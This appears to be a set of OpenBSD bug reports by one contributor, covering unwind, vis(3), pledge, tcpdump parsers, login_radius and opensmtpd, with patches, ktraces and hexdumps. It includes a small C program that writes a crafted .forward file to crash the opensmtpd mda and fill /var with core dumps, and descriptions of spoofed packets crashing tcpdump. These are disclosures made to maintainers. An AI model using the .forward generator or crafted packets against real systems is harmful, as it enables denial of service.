rules to not leak dns data.  I want unwind to _only_ go to my forwarder and not
anywhere else.  Here is a sample anchor rule I applied:

root@polarstern# pfctl -a"unwind leakage" -srules
block return log inet proto udp all user = 48
block return log inet proto tcp all user = 48
block return log inet6 proto udp all user = 48
block return log inet6 proto tcp all user = 48
pass on lo0 inet proto udp all user = 48
pass on lo0 inet proto tcp all user = 48 flags S/SA
pass on em0 inet proto udp from 192.168.177.13 to 192.168.177.13 user = 48
pass on em0 inet proto tcp from 192.168.177.13 to 192.168.177.13 user = 48 
flags S/SA

I run my own software in front of unwind like so:

[unwind] --> [delphinusdnsd locally ] -- Internet -> [delphinusdnsd + unbound]

When I see these too short packets I nearly freak out because I think my
software is broken (it's happened before, that yes it was broken).  Until I
ktraced this I was none the wiser.  Please see the how to repeat section:

>How-To-Repeat:
This shows a ktrace of the resolver of unwind:

  7117 unwind   CALL  socket(AF_INET,0x5002,0
)
  7117 unwind   RET   socket 7
  7117 unwind   CALL  connect(7,0x1a3ab37350,16)
  7117 unwind   STRU  struct sockaddr { AF_INET, 217.237.151.205:53 }
  7117 unwind   RET   connect 0
  7117 unwind   CALL  sendto(7,0x1a8a1c4c00,0x2c,0,0,0)
  7117 unwind   RET   sendto -1 errno 13 Permission denied
  7117 unwind   CALL  close(7)
  7117 unwind   RET   close 0
  7117 unwind   CALL  getpid()
  7117 unwind   RET   getpid 7117/0x1bcd
  7117 unwind   CALL  sendsyslog(0x7c5004,39,0<>)
  7117 unwind   GIO   fd -1 wrote 39 bytes
   :  3c 32 37 3e 75 6e 77 69 6e 64 5b 37 31 31 37 5d  <27>unwind[7117]
   0010:  3a 20 62 61 64 20 70 61 63 6b 65 74 3a 20 74 6f  : bad packet: to
   0020:  6f 20 73 68 6f 72 74 o short
  7117 unwind   RET   sendsyslog 0

>Fix:

It's rare that I do a fix because often it's not correct so I leave it, but...
here goes:  (I have updated to the -current unwind with this on a 7.2 system).

This leaves just one syslog for this:

Apr  7 17:45:43 stern unwind[28804]: check_resolver_done: bad packet: too 
short: -1

but it's indicating that it's -1 and thus can be ignored by me.  The others
don't indicated the answer_length...

Index: resolver.c
===
RCS file: /cvs/src/sbin/unwind/resolver.c,v
retrieving revision 1.158
diff -u -p -u -r1.158 resolver.c
--- resolver.c  8 Feb 2023 08:01:25 -   1.158
+++ resolver.c  7 Apr 2023 15:32:25 -
@@ -954,7 +954,8 @@ resolve_done(struct uw_resolver *res, vo
running_res = --rq->running;
 
if (answer_len < LDNS_HEADER_SIZE) {
-   log_warnx("bad packet: too short");
+   if (answer_len != -1)
+   log_warnx("bad packet: too short");
goto servfail;
}
 
@@ -1547,7 +1548,8 @@ check_resolver_done(struct uw_resolver *
 
if (answer_len < LDNS_HEADER_SIZE) {
checked_resolver->state = DEAD;
-   log_warnx("%s: bad packet: too short", __func__);
+   if (answer_len != -1)
+   log_warnx("%s: bad packet: too short", __func__);
goto out;
}
 
@@ -1902,7 +1904,8 @@ trust_anchor_resolve_done(struct uw_reso
char rdata_buf[1024], *ta;
 
if (answer_len < LDNS_HEADER_SIZE) {
-   log_warnx("bad packet: too short");
+   if (answer_len != -1)
+   log_warnx("bad packet: too short");
goto out;
}
 


dmesg:
OpenBSD 7.2 (GENERIC.MP) #7: Sat Feb 25 14:07:21 MST 2023

r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
real mem  = 8432852992 (8042MB)
avail mem = 8139448320 (7762MB)
random: good seed from bootblocks
mainbus0 at root: ACPI
psci0 at mainbus0: PSCI 1.1, SMCCC 1.2
cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3
cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu0: 1024KB 64b/line 16-way L2 cache
cpu0: CRC32,ASID16
cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3
cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu1: 1024KB 64b/line 16-way L2 cache
cpu1: CRC32,ASID16
cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3
cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu2: 1024KB 

an addition to VIS(3)

[pjp]

>Synopsis:  getting a dig compatible vis is hard
>Category:  library
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
I'm trying to vis my program and make an output like dig(1) but it
doesn't work because it's like an octal number \027 but in decimal.  This would
make it easy for my dns program to use vis.  I have made a patch to OpenBSD 7.2
which I checked that the versions are right.  This seems like something I tried
to get committed before but my research with google didn't find it.
>How-To-Repeat:
>From dig:

;; QUESTION SECTION:
;mapping33.dtschland.eu.IN  TXT

;; ANSWER SECTION:
mapping33.dtschland.eu. 72891   IN  TXT "\027test"

notice it took me some understanding that in dig \000 is decimal after RFC 1035
section 5.1.
>Fix:
I have made patches for your consideration.  I can only hope it will be included
for 7.4.  It's not tested but if put in snapshots I'll dedicate a machine to
testing this.

Index: include/vis.h
===
RCS file: /cvs/src/include/vis.h,v
retrieving revision 1.15
diff -u -p -r1.15 vis.h
--- include/vis.h   20 Jul 2015 01:52:27 -  1.15
+++ include/vis.h   27 Mar 2023 12:40:06 -
@@ -52,6 +52,7 @@
 #defineVIS_SAFE0x20/* only encode "unsafe" characters */
 #defineVIS_DQ  0x200   /* backslash-escape double quotes */
 #defineVIS_ALL 0x400   /* encode all characters */
+#defineVIS_DNS 0x800   /* for RFC 1035 section 5.1 escapes */
 
 /*
  * other
Index: lib/libc/gen/vis.3
===
RCS file: /cvs/src/lib/libc/gen/vis.3,v
retrieving revision 1.37
diff -u -p -r1.37 vis.3
--- lib/libc/gen/vis.3  30 Jul 2022 07:19:30 -  1.37
+++ lib/libc/gen/vis.3  27 Mar 2023 12:40:06 -
@@ -27,7 +27,7 @@
 .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 .\" SUCH DAMAGE.
 .\"
-.Dd $Mdocdate: July 30 2022 $
+.Dd $Mdocdate: March 27 2023 $
 .Dt VIS 3
 .Os
 .Sh NAME
@@ -285,6 +285,11 @@ The form is
 where
 .Ar d
 represents an octal digit.
+.It Dv VIS_DNS
+Use a three digit decimal sequence like the command 
+.Xr dig 1
+which is a backslash followed by three decimal letters.  This coincides with
+RFC 1035 section 5.1.
 .El
 .Pp
 There is one additional flag,
Index: lib/libc/gen/vis.c
===
RCS file: /cvs/src/lib/libc/gen/vis.c,v
retrieving revision 1.26
diff -u -p -r1.26 vis.c
--- lib/libc/gen/vis.c  4 May 2022 18:57:50 -   1.26
+++ lib/libc/gen/vis.c  27 Mar 2023 12:40:06 -
@@ -83,6 +83,7 @@ vis(char *dst, int c, int flag, int next
int vis_cstyle = flag & VIS_CSTYLE;
int vis_octal = flag & VIS_OCTAL;
int vis_glob = flag & VIS_GLOB;
+   int vis_dns = flag & VIS_DNS;
 
if (isvisible(c, flag)) {
if ((c == '"' && vis_dq) ||
@@ -134,6 +135,17 @@ vis(char *dst, int c, int flag, int next
*dst++ = '0';
*dst++ = '0';
}
+   goto done;
+   }
+   }
+   if (vis_dns) {
+   /* reversed from /usr/src/usr.bin/dig/lib/dns/name.c */
+   if (c < 0x20 || c > 0x7f) {
+   *dst++ = '\\';
+   *dst++ = 0x30 + ((c / 100) % 10);
+   *dst++ = 0x30 + ((c / 10) % 10);
+   *dst++ = 0x30 + (c % 10);
+
goto done;
}
}


dmesg:
my box hasn't changed yet.

pledge allows /dev/null to be any file type

[pjp]

>Synopsis:  pledge allows /dev/null to be any file type
>Category:  kernel
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
I was testing pledge on a 7.2 system and as a test opened /dev/null.
I was astonished that it didn't abort.  OK perhaps it needs to do that but
doesn't it work better if /dev/null is major/minor (2,2) device?  I have a 
ktrace for you to show what I mean.
>How-To-Repeat:
spica# mkdir dev  
mkdir: dev: File exists
spica# touch dev/null
spica# ktrace -i ./testprog
spica# ls -l dev/null
-rw-r--r--  1 root  pjp  5 Mar 19 22:51 dev/null
spica# cat dev/null
test
spica# 

The ktrace I'm gonna edit it to show only the juicy parts:

 13252 testprog CALL  chroot(0x995cc0ea640)
 13252 testprog NAMI  "/home/pjp"
 13252 testprog RET   chroot 0
 13252 testprog CALL  kbind(0x7f7f95b8,24,0xd10fcc1b312a79c0)
 13252 testprog RET   kbind 0
 13252 testprog CALL  chdir(0x995cc0ea64a)
 13252 testprog NAMI  "/"
 13252 testprog RET   chdir 0
 13252 testprog CALL  kbind(0x7f7f95b8,24,0xd10fcc1b312a79c0)
 13252 testprog RET   kbind 0
 13252 testprog CALL  pledge(0x995cc0ea652,0)
 13252 testprog STRU  promise="stdio"
 13252 testprog RET   pledge 0
 13252 testprog CALL  kbind(0x7f7f95b8,24,0xd10fcc1b312a79c0)
 13252 testprog RET   kbind 0
 13252 testprog CALL  open(0x995cc0ea658,0x1)
 13252 testprog NAMI  "/dev/null"
 13252 testprog RET   open 4
 13252 testprog CALL  kbind(0x7f7f95b8,24,0xd10fcc1b312a79c0)
 13252 testprog RET   kbind 0
 13252 testprog CALL  write(4,0x995cc0ea64c,0x5)
 13252 testprog GIO   fd 4 wrote 5 bytes
   "test

So writing to a file called {CHROOT}/dev/null is allowed on stdio pledge.
This is very suboptimal to me.  Can't it perform a check for major 2, minor 2?

spica# ls -l /dev/null
crw-rw-rw-  1 root  wheel2,   2 Mar 19 10:14 /dev/null

>Fix:
>From github I got this for the HEAD of CVS from:

https://github.com/openbsd/src/blob/master/sys/kern/kern_pledge.c


->
case SYS_open:
/* daemon(3) or other such functions */
if ((ni->ni_pledge & ~(PLEDGE_RPATH | PLEDGE_WPATH)) == 0 &&
strcmp(path, "/dev/null") == 0) {
ni->ni_cnd.cn_flags |= BYPASSUNVEIL;
return (0);
}
<--

I figure that's the code for this, partially.  But someone else would surely
know better.  And has surely a better fix on hand?


dmesg:
see previous reports.

segmentation fault in opensmtpd mda

[pjp]

>Synopsis:  segmentation fault in opensmtpd mda
>Category:  system
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
I would have waited another week after contacting Gilles at his address
and at his openbsd.org address last week, but we're out of -beta and I'd like 
to see this addressed before release.  It may already be too late though.  
I've found a way to crash the mda that is forked from opensmtpd before the 
exec.  It is a specially crafted .forward file that does this.  In the worst
case scenario it will fill up /var with smtpd.core's when the 
kern.nosuidcoredump sysctl is set to 3.  The queue files are stuck in queue 
and have to be removed either with smtpctl remove or until they time out.
A lot of these could fill /var with corefiles quicker.
>How-To-Repeat:
Here is the "exploit" code that I stuck into my .forward, I also gave
this to Gilles.

#include 
#include 
#include 
#include 

#include 

#define FBUF (4 * 1024)

int
main(void)
{
char buf[FBUF];
char *p = [0];

memset(, '/', sizeof(buf)); 

for (int j = 0; j < 3; j++) {
for (int i = 0; i < 8; i++) {
if (i == 0) {
memcpy(p, "\"|", 2);
p += 2;
}

if (i == 7) {
memcpy(p, "%{mda[0:125]:raw|", 17);
p += 125;
} else {
memcpy(p, "%{mda[0:127]:raw|", 17);
p += 127;
}
*p++ = '}';
}

*p++ = '"';
if (j == 0) break;
*p++ = ',';
}

write(STDOUT_FILENO, buf, p - buf);
exit (0);
}

You would apply this with cc -g -o makeforward makeforward.c and then fill the
.forward with ./makeforward > ~/.forward

>>> Please do not try this out on your account, make a test account <<<
>Fix:
I think some struct envelopes need to be memset to 0's (zeroized).  But
where exactly that is I don't know.


dmesg:
see earlier messages

resistance against single-even upsets

[pjp]

>Synopsis:  can we resist agains bit flipping?
>Category:  system
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
https://en.wikipedia.org/wiki/Single-event_upset

A single event upset gave someone in belgium who was in a poll, 4096
extra votes.  When I think about this bit flip and look at the kernel
code for an ultra secure operating system there is not much stopping
someone to try an attack during a cosmic storm or increased solar
activity.  Perhaps a bit flips somewhere in the CPU or RAM?

pjp@polarstern$ grep sourceroute ip_input.c
int ip_dosourceroute = 0;
if (!ip_dosourceroute) {
if (!ip_dosourceroute)
_dosourceroute);

Like here.  As you know someone found something last week if this were
enabled.  But the way this check is.  It doesn't check for the low bit set to
one but it checks for the inverted value, so if the 12th bit was flipped in a
solar storm ip_dosourceroute would now be 4096.  And the system would be wide
open.

>How-To-Repeat:
Hackers probably check the weather report like 
https://spaceweather.com/ for increased solar activity and then fill
the CPU caches with attempts to get a bit flip happening.  The odds
aren't in their favour but who knows they may get lucky. 
>Fix:
I propose all these variables to be monitored occasionally with a CRC
check and if there is a bit flip happening to unset it to the right value.
This is a lot of work but may be worth it.  OpenBSD would never be faring to
space right?  I have no code but trying to think around how to do this.


dmesg:
cut

unsafe macro in tcpdump/print-ike.c and /etc/tcpdump.conf

[pjp]

>Synopsis:  unsafe macro in tcpdump/print-ike.c and /etc/tcpdump.conf
>Category:  user
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
The macro TCHECK() is undef'ed in print-ike.c and a worse macro that
didn't see repeated fixes is added.  I saw this while "fixing" tcpdump with
policies on what can print and what can't.  I'm gonna dump a big patch on
you guys for review, it adds a /etc/tcpdump.conf with yacc parsing (taken from
a modified lpd(8)), the -Y: flag allows someone to specify a different policy
other than "default" which is defined to be rudamentary ether,llc,arp,ip/ip6
and udp/tcp/domain.  Someone who has to do work specifically for other 
protocols would need to add those themselves either to the default or a new
policy.  Check it out, I think it was worth doing, and it's sorta a passlist
or pledge for protocols in tcpdump.

The policy names are from print-NAME.c in tcpdump so this will also get people
to familiarize themselves with the way tcpdump works.
>How-To-Repeat:
Code reading/frustrations.
>Fix:

Index: Makefile
===
RCS file: /cvs/src/usr.sbin/tcpdump/Makefile,v
retrieving revision 1.67
diff -u -p -u -r1.67 Makefile
--- Makefile4 Dec 2020 11:36:13 -   1.67
+++ Makefile7 Mar 2023 06:47:37 -
@@ -50,7 +50,7 @@ SRCS= tcpdump.c addrtoname.c privsep.c p
print-pfsync.c pf_print_state.c print-ofp.c ofp_map.c \
print-udpencap.c print-carp.c print-nhrp.c print-wg.c \
print-802_11.c print-iapp.c print-mpls.c print-slow.c print-usbpcap.c \
-   gmt2local.c savestr.c setsignal.c in_cksum.c
+   gmt2local.c savestr.c setsignal.c in_cksum.c parse.y
 
 # TCP OS Fingerprinting
 .PATH: ${.CURDIR}/../../sys/net
Index: parse.y
===
RCS file: parse.y
diff -N parse.y
--- /dev/null   1 Jan 1970 00:00:00 -
+++ parse.y 7 Mar 2023 06:47:38 -
@@ -0,0 +1,1248 @@
+/* $OpenBSD$ */
+
+/*
+ * Copyright (c) 2008 Gilles Chehade 
+ * Copyright (c) 2008 Pierre-Yves Ritschard 
+ * Copyright (c) 2002, 2003, 2004 Henning Brauer 
+ * Copyright (c) 2001 Markus Friedl.  All rights reserved.
+ * Copyright (c) 2001 Daniel Hartmeier.  All rights reserved.
+ * Copyright (c) 2001 Theo de Raadt.  All rights reserved.
+ *
+ * Permission to use, copy, modify, and distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ */
+
+%{
+#include 
+#include 
+#include 
+#include 
+
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+
+
+TAILQ_HEAD(files, file) files = TAILQ_HEAD_INITIALIZER(files);
+static struct file {
+   TAILQ_ENTRY(file)entry;
+   FILE*stream;
+   char*name;
+   int  lineno;
+   int  errors;
+} *file, *topfile;
+
+struct tcpdump_conf *  tcpd_parse_config(int);
+struct file*pushfile(int);
+int popfile(void);
+int check_file_secrecy(int, const char *);
+int yyparse(void);
+int yylex(void);
+int kw_cmp(const void *, const void *);
+int lookup(char *);
+int lgetc(int);
+int lungetc(int);
+int findeol(void);
+int yyerror(const char *, ...)
+__attribute__((__format__ (printf, 1, 2)))
+__attribute__((__nonnull__ (1)));
+
+int check_policy(char *filename);
+
+TAILQ_HEAD(symhead, sym)symhead = TAILQ_HEAD_INITIALIZER(symhead);
+struct sym {
+   TAILQ_ENTRY(sym) entry;
+   int  used;
+   int  persist;
+   char*nam;
+   char*val;
+};
+int symset(const char *, const char *, int);
+char   *symget(const char *);
+
+static int  errors = 0;
+
+extern char *policyname;
+extern int priv_open_conf(void);
+
+struct policy {
+   TAILQ_ENTRY(policy) entry;
+   char *filename;
+};
+
+struct 

same bug as GRE, different protocol (this time etherip)

[pjp]

>Synopsis:  wrap of length into the high 4 billion in print-etherip.c
>Category:  system
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
This is a good bug, good because it can't be exploited via the Internet.
But it was able to be exploited at 7.2 time with NSH to bring tcpdump to seg-
fault on a local LAN.  Luckily NSH is now fixed so I can't demonstrate that 
avenue.  The spoofed frame has an illegal IP len that routers would not carry
along for the hop but tcpdump doesn't care so much about this.

In print-etherip.c much care is taken to check plen from becoming too small but
len is passed to sub-printers after an underflow (wrap).

>How-To-Repeat:
I changed computers and had to use vether because the old workstation
that I was using is sleeping.  Here is a tcpdump of vether and the spoofery
into it.  Notice the second packet indicates length -20 (it would be in 
print-llc.c).  That's the underflow / wrap of the unsigned integer.

tcpdump -v -n -i vether0 -X -s 1500
tcpdump: listening on vether0, link-type EN10MB
13:03:50.302274 192.168.177.13 > 255.255.255.255: etherip 3 len 0: 
192.168.177.13 > 255.255.255.255: [|udp] (ttl 255, id 0, len 20) (ttl 255, id 
0, len 20)
  : 4500 0014   ff61 49d3 c0a8 b10d  EaI.
  0010:   3000    0101 0101  0...
  0020: 0101 0800 4500 0014   ff11 4a23  E.J#
  0030: c0a8 b10d    

13:08:50.234684 192.168.177.13 > 255.255.255.255: etherip 3 len 0: 
01:01:01:01:01:01 > ff:ff:ff:ff:ff:ff sap 00 I (s=0,r=0,C) len=-20 (ttl 255, id 
0, len 20)
  : 4500 0014   ff61 49d3 c0a8 b10d  EaI.
  0010:   3000    0101 0101  0...
  0020: 0101 05dc    ..
>Fix:
The fix is rather simple.  instead of passing len to llc_print() (line
116) and ether_encap_print() (line 126 of print-etherip.c) pass snapend - pbuf.
Before that it must be tested whether pbuf is less than snapend.

(excerpt of cat -n of print-etherip.c):

   115  if (etype <= ETHERMTU) {
   116  if (llc_print(pbuf, len, plen, ESRC(eh), EDST(eh)) == 
0) {
   126  } else if (ether_encap_print(etype, pbuf, len, plen) == 0) {



dmesg:
none.

IP6/CARP bug in tcpdump (nonexploitable)

[pjp]

>Synopsis:  IP6/CARP bug in tcpdump (nonexploitable)
>Category:  system
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
In the tcpdump/print-ip6.c is a small bug that allows constructs (which
are bogus) like this:

tcpdump: listening on bse0, link-type EN10MB
tcpdump: WARNING: compensating for unaligned libpcap packets
07:34:28.370433 192.168.177.13 > 255.255.255.255: gre [R] 86dd off 0x0 (rtaf=0x0
) :: > ::: CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad
 carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote
=0 (bad carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0
 demote=0 (bad carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 ad
vskew=0 demote=0 (bad carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advba
se=0 advskew=0 demote=0 (bad carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=
0 advbase=0 advskew=0 demote=0 (bad carp cksum !)CARPv2-advertise 0: [ttl=0!
] vhid=0 advbase=0 advskew=0 demote=0 (bad carp cksum !)CARPv2-advertise 0: 
[ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad carp cksum !)CARPv2-advert
ise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad carp cksum !)CARPv2
-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad carp cksum !
)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad carp cksu
m !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad ca
rp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 
(bad carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 de
mote=0 (bad carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advsk
ew=0 demote=0 (bad carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=
0 advskew=0 demote=0 (bad carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 a
dvbase=0 advskew=0 demote=0 (bad carp cksum !)CARPv2-advertise 0: [ttl=0!] v
hid=0 advbase=0 advskew=0 demote=0 (bad carp cksum !)CARPv2-advertise 0: [tt
l=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad carp cksum !)CARPv2-advertise
 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad carp cksum !)CARPv2-ad
vertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad carp cksum !)CA
RPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad carp cksum f
fff!)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (bad carp 
cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demote=0 (ba
d carp cksum !)CARPv2-advertise 0: [ttl=0!] vhid=0 advbase=0 advskew=0 demot
e=0 (bad carp cksum !)[|carp] [hlim 0] (len 0) (ttl 255, id 0, len 20)
  : 4500 0014   ff2f 4a05 c0a8 b10d  E/J.

This falls back on some code in print-ip6.c that breaks from a switch instead
of a goto end which most other protocols (other than ip6 options) use.

207 case IPPROTO_CARP:
208 if (packettype == PT_VRRP)
209 vrrp_print(cp, len, ip6->ip6_hlim);
210 else
211 carp_print(cp, len, ip6->ip6_hlim);
212 break;

The break in my 7.2 code is on line 212.

>How-To-Repeat:
Specially crafted packets can cause this.  If you would like the
packet generator I can make it available to @openbsd.org addresses.
>Fix:
The fix is to replace the break with a goto end; for correctness.


dmesg:
see earlier posts.

possible segmentation violation in login_radius

[pjp]

>Synopsis:  possible segmentation violation in login radius
>Category:  system
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
While bored and reading through tech@ someone was using radius server.
So I wanted to see if they are using login_radius(8), and that answer was no.
But while there I got stuck reading the code :}.

I saw a segmentation violation in the MD5 code, in raddauth.c line 473:

473 MD5Update(, (u_char *), ntohs(auth.length));

This length comes from the network payload and if over a specific value, it
will read beyond auth.

125 typedef struct {
126 u_char  code;
127 u_char  id;
128 u_short length;
129 u_char  vector[AUTH_VECTOR_LEN];
130 u_char  data[4096 - AUTH_HDR_LEN];
131 } auth_hdr_t;

that is the size of auth.
>How-To-Repeat:
This may be used as a dos in a flood when someone is logging in?  I made a
test program that shows the segmentation fault:

#define LENGTH 4096

int
main(void)
{
char auth[LENGTH];
MD5_CTX context;
uint8_t test_vector[MD5_DIGEST_LENGTH];

MD5Init();
MD5Update(, (u_char *), LENGTH * 2);
MD5Final(test_vector, );

    exit(0);
}

pjp@polarstern$ ./testprog
Segmentation fault (core dumped) 

>Fix:
It is pretty insane here not to use IPSEC, but this is just a workaround.  
The right thing to do would be to get the value of length from recvfrom() 
and use that.



dmesg:
see earlier posts last month.

display bug and complex length bug in tcpdump/print-icmp.c

[pjp]

>Synopsis:  display bug and complex length bug in tcpdump/print-icmp.c
>Category:  system
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
In the print-icmp.c code there is a while() near line 316 that goes
through Router Advertisements (icmp type 9 code 0) but doesn't advance struct
idp.  My patch adds this, yet I was unable to test it.

Also I'm not satisfied with the -vv option and printing the IP packet and
it's payload the way it is done.  Basically it passes print_ip() length
parameter with what's given on the wire (as payload of the icmp) which will
run through so many length checks in print_ip() it's not funny.  In fact
you could use this similar to a GRE specially crafted packet to increase
some length that may point beyond snaplen.  I'm thinking of some high length
like 0x being put in there.  I have done a calculation on what length it
should be instead only it looks ugly but is more correct.  Let me show you
the captured tcpdumps next section.

>How-To-Repeat:

Normal before:

root@echo# tcpdump -vv -n -i bse0 -s 1500 ip and icmp
tcpdump: listening on bse0, link-type EN10MB
17:51:32.250143 192.168.177.14 > 192.168.177.13: icmp: 192.168.177.14 udp port 
999 unreachable [icmp cksum ok] for 192.168.177.13.11143 > 192.168.177.14.999: 
udp 6 (ttl 64, id 6174, len 34) (ttl 255, id 42263, len 56)

With my patch:

root@echo# obj/tcpdump -vv -n -i bse0 -s 1500 ip and icmp
tcpdump: listening on bse0, link-type EN10MB
17:51:00.810291 192.168.177.14 > 192.168.177.13: icmp: 192.168.177.14 udp port 
999 unreachable [icmp cksum ok] for truncated-ip - 6 bytes 
missing!192.168.177.13.36685 > 192.168.177.14.999:  truncated-udp - 6 bytes 
missing![bad udp cksum 5445! -> 3689] udp 0 (ttl 64, id 52444, len 34) (ttl 
255, id 58823, len 56)
^C

As seen in the hexdump the packet is really missing data:

Normal before:

17:55:22.936602 192.168.177.14 > 192.168.177.13: icmp: 192.168.177.14 udp port 
999 unreachable [icmp cksum ok] for 192.168.177.13.37982 > 192.168.177.14.999: 
udp 6 (ttl 64, id 17991, len 34) (ttl 255, id 44077, len 56)
  : 4500 0038 ac2d  ff01 2c2a c0a8 b10e  E..8.-,*
  0010: c0a8 b10d 0303 2466   4500 0022  ..$fE.."
  0020: 4647  4011 5117 c0a8 b10d c0a8 b10e  FG..@.Q.
  0030: 945e 03e7 000e 4043  .^@C


With my patch:

17:56:09.560294 192.168.177.14 > 192.168.177.13: icmp: 192.168.177.14 udp port 
999 unreachable [icmp cksum ok] for truncated-ip - 6 bytes 
missing!192.168.177.13.22420 > 192.168.177.14.999:  truncated-udp - 6 bytes 
missing![bad udp cksum 0d7d! -> efc0] udp 0 (ttl 64, id 316, len 34) (ttl 255, 
id 20015, len 56)
  : 4500 0038 4e2f  ff01 8a28 c0a8 b10e  E..8N/.(
  0010: c0a8 b10d 0303 2466   4500 0022  ..$fE.."
  0020: 013c  4011 9622 c0a8 b10d c0a8 b10e  .<..@.."
  0030: 5794 03e7 000e 7d0d  W.}.

>Fix:
The patch:

Index: print-icmp.c
===
RCS file: /cvs/src/usr.sbin/tcpdump/print-icmp.c,v
retrieving revision 1.27
diff -u -p -u -r1.27 print-icmp.c
--- print-icmp.c1 Dec 2021 18:28:46 -   1.27
+++ print-icmp.c1 Mar 2023 16:49:55 -
@@ -319,6 +319,7 @@ icmp_print(const u_char *bp, u_int lengt
ipaddr_string(>ird_addr),
EXTRACT_32BITS(>ird_pref));
strlcat(buf, buf2, sizeof(buf));
+   idp++;
}
}
break;
@@ -385,9 +386,13 @@ icmp_print(const u_char *bp, u_int lengt
}
if (vflag > 1 && !ICMP_INFOTYPE(dp->icmp_type) &&
TTEST(dp->icmp_ip)) {
